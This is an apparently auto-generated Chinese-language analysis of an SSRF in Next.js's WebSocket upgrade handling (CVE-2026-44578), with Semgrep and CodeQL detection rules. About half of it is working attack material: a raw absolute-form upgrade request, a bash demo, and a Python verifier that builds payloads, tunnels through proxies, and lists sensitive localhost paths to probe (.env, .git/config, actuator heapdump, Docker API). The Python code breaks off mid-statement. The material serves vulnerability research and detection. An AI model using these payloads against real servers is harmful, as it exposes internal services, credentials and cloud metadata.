🎯 CVE-2026-44578 深度技术分析:漏洞根因 · PoC/EXP · 检测指纹
CVE-2026-44578 深度技术分析
CVE-2026-44578 深度技术分析:Next.js WebSocket 升级处理中的 SSRF
CVE-2026-44578 深度技术分析:Next.js 内置 Node.js 服务器 WebSocket 升级处理中的 SSRF
摘要:CVE-2026-44578(GHSA-c4j6-fc7j-m34r)是影响 Next.js 内置 Node.js 服务器(self-hosted)的高危服务端请求伪造(SSRF)漏洞。攻击者通过构造携带 Upgrade: websocket 的恶意请求,可让服务器把流量代理到任意内部或外部目的地,从而读取云元数据、内网服务响应等敏感数据。该漏洞根因在于 WebSocket 升级路径没有复用普通 HTTP 请求链路已有的“外部重写安全校验”和内部地址拦截逻辑。Vercel 托管的部署不受影响。本文基于 GitHub Advisory、PoC 仓库与检测规则,对该漏洞进行完整的技术链分析。
📌 漏洞概述
| 项目 | 内容 |
|---|---|
| CVE | CVE-2026-44578 |
| GitHub Advisory | GHSA-c4j6-fc7j-m34r |
| 漏洞类型 | Server-Side Request Forgery(SSRF,CWE-918) |
| 严重性 | HIGH 高危(CVSS 具体向量未在公告数据中公开,评级为 GitHub Advisory “HIGH”) |
| 影响范围 | 使用内置 Node.js 服务器自托管的 Next.js 应用(next start / 自定义 Node.js server),PoC 验证受影响版本为 next@15.5.15 |
| 不受影响 | Vercel 托管部署(Vercel 的托管代理层不可被原始 WebSocket 升级直接触达,故不受影响) |
| CISA KEV | 未收录(截至分析时无 CISA 已知被利用漏洞目录收录记录) |
该漏洞允许攻击者伪造一次 WebSocket 升级请求(GET http://内网目标/ HTTP/1.1 + Upgrade: websocket),使 Next.js 自托管服务器充当跳板,把请求代理到任意内网或外网地址。由于 WebSocket 握手本质仍是一个 HTTP GET 请求,目标服务返回的 HTTP 响应会沿着 TCP 连接“带内”返回给攻击者,形成一个可读数据的 SSRF 原语,而非简单的盲 ssrf。
🔬 漏洞根因分析
要理解该漏洞,需要清楚 Node.js HTTP 服务器的事件模型:当客户端发送携带 Connection: Upgrade 的请求时,Node.js 不会触发普通的 request 事件,而是触发独立的 upgrade 事件,其回调签名为 upgrade(req, socket, head)。Next.js 的内置 Node.js 服务器在 next start 运行时会监听该事件,并进入独立的 WebSocket 升级处理流程(对应源码中的 handleUpgrade / handleWebSocketUpgrade 等内部函数)。
问题恰恰出在这条独立路径上。普通 HTTP 请求在 Next.js 中会经过完整的路由匹配、中间件、rewrite 规则解析,并且只有当目标被路由配置显式标记为“安全的外部 rewrite”时才会被允许代理;同时,常规代理链路还会对目标地址执行内部 IP / 元数据地址的 SSRF 防护检查。然而WebSocket 升级处理路径在早期阶段就拿走了请求行中的目标 URI,并直接基于该 URI 发起代理转发,完全没有复用上述安全性校验。也就是说:攻击者把目标写成绝对 URI(absolute-form)格式,例如 http://169.254.169.254/latest/meta-data/,升级处理器就会忠实地替攻击者连接该地址。
下面是一个典型的攻击请求形态:
GET http://127.0.0.1:80/ HTTP/1.1
Host: victim.example.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13关键在请求行:这里使用的是 RFC 7230 中定义的 absolute-form 请求目标(通常用于显式代理),而不是默认的 origin-form(GET /path HTTP/1.1)。Next.js 的升级处理器未区分二者,把 absolute-form 中的 http://127.0.0.1:80/ 直接解析为代理目标。上述例子中,目标正好是服务器自身(localhost:80),于是发生了“Next.js 代理请求到 Next.js 自己”的自循环请求,并成功把首页 HTML 返回给攻击者——这正是 PoC 的复现思路。
为什么 Vercel 不受影响?在 Vercel 托管架构中,客户应用运行在受管运行时内,外部网络流量必须经过 Vercel 的网关代理层;网关会终结并校验 Upgrade 请求,客户 Next.js 进程的原生 Node.js upgrade 监听器不会直接暴露给不受信任的网络。而自托管部署(尤其将 next start 直接绑定在 80/443 端口,或按生产环境常用的 docker run -p 80:3000 方式映射外网)则保留了这条原生监听路径,因此受到该漏洞影响。
💥 影响与危害
该 SSRF 的首个实际危害是内网敏感信息泄露。攻击者可让服务器向以下目标发起请求并读取响应:
- 云元数据服务:AWS
169.254.169.254、GCPmetadata.google.internal、阿里云100.100.100.200等;可进一步获取 IAM 临时凭证、实例 ID、用户数据等敏感内容。 - 回环地址本机服务:如本机 80 端口(PoC 已验证)、Redis/Memcached 管理等 HTTP 化运维端口,以及 Docker Daemon API(
unix:///var/run/docker.sock或 TCP 2375 端口)。 - 内网横向探测:以源站为跳板对
10.x.x.x、172.16.x.x、192.168.x.x网段进行端口扫描与 HTTP 服务指纹识别;由于响应带内返回,扫描效率很高。 - 读取源站自身敏感页面:PoC 演示的就是读回 Next.js 自身首页;如果服务内部存在未公开状态页、调试路由或管理接口,均可被远程读取。
- 绕过网络 ACL / WAF:攻击者原本在公网,无法直接访问内网;该漏洞将源站变成一个合法的“内网跳板机”,且 WebSocket 升级流量在多数反代和 WAF 审计中被忽略,具备较高的隐蔽性。
如果内网目标支持 WebSocket 或任意可完成 Upgrade 握手的协议,攻击者甚至可以在握手成功后获得一条双向原始 TCP 隧道,进一步与内网服务进行持久交互,造成更深层的横向渗透风险。
🧪 PoC 复现分析
PoC 上下文来自公开仓库
🧪 PoC 代码(GitHub 实际仓库)
### 文件: demo_impact.sh
```
#!/usr/bin/env bash
# demo_impact.sh — End-to-end impact demo for GHSA-c4j6-fc7j-m34r
#
# Scenario: Next.js self-hosted directly on port 80 (typical prod pattern
# via setcap / Docker port-mapping / root). The SSRF target defaults to
# localhost:80 — which IS the same Next process. The attacker exfiltrates
# the Next app's own HTML home page through the bug.
#
# Requires:
# - sudo (for port 80 bind)
# - a vulnerable Next install at LAB_DIR (default ../next-vuln-lab)
#
# Run:
# ./demo_impact.sh
set -euo pipefail
LAB_DIR="${LAB_DIR:-$HOME/tmp/next-vuln-lab}"
SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" &&
pwd )"
VERIFIER="$SCRIPT_DIR/verify_ghsa_c4j6.py"
if [ ! -d "$LAB_DIR" ];
then
echo "lab dir not found at $LAB_DIR — set LAB_DIR or create the lab first" >&2
exit 1
fi
cd "$LAB_DIR"
# pin vulnerable version
echo "[*] ensuring next@15.5.15 (vulnerable)..."
npm i next@15.5.15 --no-audit --no-fund --loglevel=error >/dev/null
./node_modules/.bin/next --version
# kill anything on :80 and :3030 from previous runs
sudo lsof -ti:80 2>/dev/null |
xargs -r sudo kill -9 2>/dev/null ||true
lsof -ti:3030 2>/dev/null |xargs -r kill -9 2>/dev/null ||true
sleep 1
echo "[*] building and starting Next on :80 (needs sudo)..."
./node_modules/.bin/next build >/dev/null
sudo -b ./node_modules/.bin/next start -p 80 >/tmp/next-impact-demo.log 2>&1
echo "[*] waiting for Next to bind :80..."
for _ in $(seq 1 30);
do
if curl -sf -o /dev/null http://127.0.0.1:80/;then break;fi
sleep 0.5
done
curl -sI http://127.0.0.1:80/ |head -2
echo
echo "[*] firing SSRF exploit — read Next's own home page via the upgrade SSRF"
echo " target=127.0.0.1:80 probe-path=/ (the proxy will loop to localhost:80=Next itself)"
echo
python3 "$VERIFIER" --target 127.0.0.1:80 --probe-path / --timeout 5 --json \
|
python3 -c '
import sys,json
r = json.loads(sys.stdin.read())
print(f"verdict: {r[\"verdict\"]}")
print(f"impact_confirmed: {r.get(\"impact_confirmed\",
False)}")
if r.get("upstream_status"):
print(f"upstream_status: {r[\"upstream_status\"]}")
if r.get("upstream_server"):
print(f"upstream_server: {r[\"upstream_server\"]}")
print(f"response (first 600 chars):")
print("-"*60)
print(r.get("response_snippet","")[:600])
print("-"*60)
print()
if r.get("impact_confirmed"):
print("IMPACT CONFIRMED — SSRF reached a service on the target localhost")
print(" and read response data back (see snippet above).")
sys.exit(0)
else:
print("Impact NOT confirmed — vulnerability indicator present but no")
print("data was exfiltrated. Re-check that something is listening on :80.")
sys.exit(1)
'
echo
echo "[*] cleanup: stop Next on :80"
sudo lsof -ti:80 |
xargs -r sudo kill -9 2>/dev/null ||true
```
### 文件: verify_ghsa_c4j6.py
```
#!/usr/bin/env python3
"""
verify_ghsa_c4j6.py — In-band verifier for GHSA-c4j6-fc7j-m34r / CVE-2026-44578
(Next.js WebSocket-upgrade SSRF;affected: next >=13.4.13 <15.5.16,
>=16.0.0 <16.2.5)
For authorized security testing only.
DETECTION MODEL (revised after empirical testing against next@15.5.15 vs 15.5.16):
The vulnerable code path in `resolveRoutes` treats any request URI containing
`//` (which is every absolute-form request-URI) as a "normalize repeated
slashes" case. It collapses the `//` to `/`,
then the unpatched upgrade
handler in `router-server.ts` still proxies the result. The mangled target
(`http:/host:port/path` with one slash) loses its host,so Node's URL parser
gives `host=null`,
and `http-proxy` falls back to `localhost:80` (HTTPS:443).
The practical SSRF surface is therefore ANY service listening on the Next.js
host's localhost:80 or localhost:443 — with an attacker-controlled path.
Because the connection never reaches an external host,
an out-of-band canary
will not receive callbacks. Detection is instead done in-band by reading the
upgrade socket:
- "Internal Server Error" in the response ->VULNERABLE
(Next's http-proxy error handler ran;only the pre-patch path
enters that code branch.)
- Response starts with "HTTP/1." ->
VULNERABLE + reachable
(A service on the host's localhost actually answered the proxy.)
- Empty response / clean close ->LIKELY PATCHED / not Next /
behind a reverse proxy that
strips Upgrade
- Anything else ->
INCONCLUSIVE
False-positive guard: a control probe with the same absolute-URI request
line but NO Upgrade headers is sent first. If the front-end (nginx/Apache/
CDN) returns the same response to both probes,
it is short-circuiting the
malformed request line on its own — the SSRF never reached Next — and the
verdict is downgraded to `front_end_intercepts`. Disable with
--no-control-probe.
Usage:
python3 verify_ghsa_c4j6.py --target https://app1.example.com
python3 verify_ghsa_c4j6.py --targets-file targets.txt --json
cat targets.txt |
python3 verify_ghsa_c4j6.py
"""
from __future__ import annotations
import argparse
import asyncio
import base64
import json
import re
import secrets
import ssl
import sys
from urllib.parse import urlsplit
DEFAULT_TIMEOUT = 5.0
DEFAULT_CONCURRENCY = 10
DEFAULT_PROBE_PATH = "/x" # arbitrary;
becomes the path on localhost:80 of the target
HTTP_STATUS_RE = re.compile(r"^HTTP/1\.\d (\d{3}) ")
# Common paths that often surface co-located services on localhost. The SSRF
# in this CVE is pinned to the target's localhost:80/443,so these are the
# kinds of paths that can reveal what (if anything) is listening there.
DEFAULT_SCAN_PATHS = [
"/","/index.html",
# apache / nginx status modules
"/server-status","/server-info","/nginx_status","/stub_status",# health &status
"/health","/healthz","/_health","/status","/_status","/ping","/ready","/readyz","/live","/livez",# metrics
"/metrics","/prometheus","/_metrics",# admin panels (common framework defaults)
"/admin","/admin/","/administrator/","/manager/html",# tomcat
"/console",
# weblogic / others
"/wp-admin/","/wp-login.php",# generic apis
"/api","/api/v1","/api/v2",# spring boot actuator
"/actuator","/actuator/env","/actuator/health","/actuator/mappings","/actuator/beans","/actuator/configprops","/actuator/heapdump","/actuator/threaddump",# go pprof / expvar
"/debug/vars","/debug/pprof/","/debug/pprof/heap",
# docker daemon over http
"/containers/json","/version","/info","/images/json",# leaky config files often dropped at webroot
"/.env","/.git/config","/.git/HEAD","/config","/config.json",# php classics
"/phpinfo.php","/info.php","/phpmyadmin/",# elasticsearch
"/_cat/indices","/_cluster/health","/_nodes",# jmx / jolokia
"/jmx-console/","/jolokia/list",
# next.js itself (loopback when next is the localhost service)
"/_next/static/",]
def build_payload(absolute_uri: str,target_host_header: str) ->bytes:
lines = [
f"GET {absolute_uri}HTTP/1.1",f"Host: {target_host_header}","Connection: Upgrade","Upgrade: websocket","Sec-WebSocket-Version: 13","Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==","","",
]
return "\r\n".join(lines).encode("latin-1")
def build_control_payload(absolute_uri: str,target_host_header: str) ->bytes:
"""Same absolute-URI request line as the SSRF probe,but with no Upgrade
headers. Used to detect front-end proxies (nginx/Apache/etc) that reject
the request line themselves — those return identical errors with or
without the upgrade headers,
which would otherwise produce a false
positive on the `HTTP/1.x` / `Internal Server Error` heuristics."""
lines = [
f"GET {absolute_uri}HTTP/1.1",f"Host: {target_host_header}","Connection: close","","",]
return "\r\n".join(lines).encode("latin-1")
def parse_target(url: str) ->tuple[str,int,
bool]:
if "://" not in url:
url = "http://" + url
parts = urlsplit(url)
host = parts.hostname
if not host:
raise ValueError(f"invalid target: {url}")
is_tls = parts.scheme == "https"
port = parts.port or (443 if is_tls else 80)
return host,port,is_tls
def parse_proxy(url: str) ->tuple[str,int,str |None,str |None]:
"""Return (host,port,username,
password) for an http(s):// CONNECT proxy."""
if "://" not in url:
url = "http://" + url
p = urlsplit(url)
if p.scheme not in ("http","https"):
raise ValueError(f"unsupported proxy scheme: {p.scheme}")
if not p.hostname:
raise ValueError(f"invalid proxy URL: {url}")
port = p.port or (443 if p.scheme == "https" else 8080)
return p.hostname,port,
p.username,p.password
async def _open_via_proxy(
target_host: str,target_port: int,ssl_ctx: ssl.SSLContext |None,proxy_info: tuple[str,int,str |None,str |None],timeout: float,):
"""Open a (possibly TLS) connection through an HTTP CONNECT proxy."""
p_host,p_port,p_user,p_pass = proxy_info
reader,writer = await asyncio.wait_for(
asyncio.open_connection(p_host,p_port),
timeout=timeout
)
lines = [
f"CONNECT {target_host}:{target_port}HTTP/1.1",f"Host: {target_host}:{target_port}",]
if p_user is not None:
creds = f"{p_user}:{p_pass or ''}".encode("latin-1")
token = base64.b64encode(creds).decode("ascii")
lines.append(f"Proxy-Authorization: Basic {token}")
lines.extend(["",
""])
writer.write("\r\n".join(lines).encode("latin-1"))
await writer.drain()
status = await asyncio.wait_for(reader.readline(),timeout=timeout)
if not status:
writer.close()
raise OSError("proxy closed before CONNECT response")
parts = status.decode("latin-1","replace").split(" ",2)
if len(parts) <
2 or not parts[1].startswith("2"):
writer.close()
raise OSError(f"CONNECT failed: {status.decode('latin-1','replace').strip()}")
while True:
line = await asyncio.wait_for(reader.readline(),timeout=timeout)
if line in (b"\r\n",b""):
break
if ssl_ctx is not None:
if not hasattr(writer,
"start_tls"):
raise RuntimeError(
"TLS over CONNECT proxy requires Python 3.11+"
)
await writer.start_tls(ssl_ctx,server_hostname=target_host)
return reader,writer
def _first_line(snippet: str) ->str:
return snippet.split("\r\n",1)[0] if snippet else ""
def _responses_match(probe: str,control: str) ->
bool:
"""Heuristic: probe response looks like the control (no-upgrade) response,
meaning the front-end short-circuited the request regardless of Upgrade
headers. We compare the status line and total length within a tolerance
so dynamic content like `Date:` doesn't cause false negatives."""
if not probe or not control:
return False
if _first_line(probe) != _first_line(control):
return False
a,b = len(probe),
len(control)
return abs(a - b) <= max(50,int(0.10 * max(a,b)))
def classify(snippet: str,control_snippet: str |None = None) ->tuple[str,bool,dict]:
"""Map the raw bytes of the socket reply to (verdict,impact_confirmed,
extras).
impact_confirmed is True iff the response shows that the proxied upgrade
actually reached a service on the target's localhost:80/443 and read
something back — i.e. real data exfiltration through the SSRF gadget.
When `control_snippet` is provided (response to the same request line
with `Connection: close` and no Upgrade headers),
a front-end-proxy
short-circuit guard runs: if both responses look identical,the host's
own front-end is rejecting/handling the request line itself and the
SSRF never fired — verdict downgrades to `front_end_intercepts`.
"""
extras: dict = {}if not snippet:
return "likely_patched",False,extras
if control_snippet is not None and _responses_match(snippet,
control_snippet):
# Front-end (nginx/Apache/CDN/etc) responded identically to the
# control probe — the upgrade-driven SSRF path is not what we saw.
if snippet.startswith("HTTP/1."):
m = HTTP_STATUS_RE.match(snippet)
if m:
extras["front_end_status"] = int(m.group(1))
for line in snippet.split("\r\n")[1:15]:
low = line.lower()
if low.startswith("server:"):
extras["front_end_server"] = line.split(":",
1)[1].strip()
break
return "front_end_intercepts",False,
extras
if snippet.startswith("HTTP/1."):
m = HTTP_STATUS_RE.match(snippet)
if m:
extras["upstream_status"] = int(m.group(1))
# parse a few common headers from the first chunk for operator triage
for line in snippet.split("\r\n")[1:15]:
low = line.lower()
if low.startswith("server:"):
extras["upstream_server"] = line.split(":",
1)[1].strip()
elif low.startswith("content-type:"):
extras["upstream_content_type"] = line.split(":",1)[1].strip()
return "vulnerable_proxy_succeeded",True,extras
if "Internal Server Error" in snippet:
return "vulnerable",False,extras
return "inconclusive",False,extras
async def _send_payload(
host: str,port: int,is_tls: bool,
payload: bytes,timeout: float,verify_tls: bool,proxy_info: tuple |None,) ->tuple[str,str |None]:
"""Open a (TLS / proxied) socket,send `payload`,read until close.
Returns (snippet,error). Snippet is the bytes decoded as latin-1 (so
binary stays intact). On any connect/send error,error is set and
snippet is empty."""
ssl_ctx: ssl.SSLContext |
None = None
if is_tls:
ssl_ctx = ssl.create_default_context()
if not verify_tls:
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE
try:
if proxy_info is not None:
reader,writer = await _open_via_proxy(
host,port,ssl_ctx,proxy_info,
timeout
)
elif ssl_ctx is not None:
reader,writer = await asyncio.wait_for(
asyncio.open_connection(host,port,ssl=ssl_ctx,server_hostname=host),timeout=timeout,)
else:
reader,writer = await asyncio.wait_for(
asyncio.open_connection(host,port),timeout=timeout
)
except (asyncio.TimeoutError,OSError,
ssl.SSLError,RuntimeError) as e:
return "",str(e)
try:
writer.write(🕵️ 检测指纹规则
🛡️ Semgrep 审计规则: CVE-2026-44578.yaml
rules:
- id: CVE-2026-44578-ssrf-javascript
languages:
- javascript
- typescript
severity: ERROR
message: "Potential SSRF vulnerability in WebSocket upgrade handling in Next.js"
patterns:
- pattern-either:
- pattern: "upgrade(req,socket,head)"
- pattern: "handleUpgrade(req,socket,head)"
- pattern: "handleWebSocketUpgrade(req,
...)"
- pattern-not-inside: "createProxyServer({...})"
fix: "authMiddleware(req,socket,head);validateUpgradeUrl(req.url);upgrade(req,socket,
head);"
metadata:
cwe: "CWE-918"
owasp: "A1: Server-Side Request Forgery"
technology: nextjs
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2026-44578"
- id: CVE-2026-44578-ssrf-typescript
languages:
- typescript
severity: ERROR
message: "Potential SSRF vulnerability in WebSocket upgrade handling in Next.js"
patterns:
- pattern-either:
- pattern: "upgrade(req: $REQ,
socket: $SOCK,head: $HEAD)"
- pattern: "handleUpgrade(req: $REQ,socket: $SOCK,head: $HEAD)"
- pattern: "handleWebSocketUpgrade(req: $REQ,...)"
- pattern-not-inside: "createProxyServer({...})"
fix: "authMiddleware(req,socket,head);validateUpgradeUrl(req.url);upgrade(req,socket,
head);"
metadata:
cwe: "CWE-918"
owasp: "A1: Server-Side Request Forgery"
technology: nextjs
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2026-44578"🛡️ CodeQL 审计规则: CVE-2026-44578.ql
/**
* @kind path-problem
* @id javascript/ssrf/cve-2026-44578
* @name SSRF via WebSocket upgrade in Next.js
* @description User-controlled WebSocket upgrade requests are proxied to arbitrary destinations,
leading to server-side request forgery
* @problem.severity error
* @tags security
* external/cwe/cwe-918
*/
import javascript
import semmle.javascript.security.dataflow.ServerSideRequestForgeryQuery
import ServerSideRequestForgery::PathGraph
from
ServerSideRequestForgery::PathNode source,ServerSideRequestForgery::PathNode sink
where
ServerSideRequestForgery::flowPath(source,
sink) and
exists(DataFlow::CallNode wsCall |wsCall.getCalleeName() = "upgrade" and
wsCall = sink.getNode().asExpr().(DataFlow::CallNode)
)
select sink.getNode(),source,sink,"User input in WebSocket upgrade request flows to $@ - potential SSRF",sink.getNode(),"proxied upgrade request"🤖 本文由漏洞情报系统自动聚合生成 · 2026-07-31 23:08 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库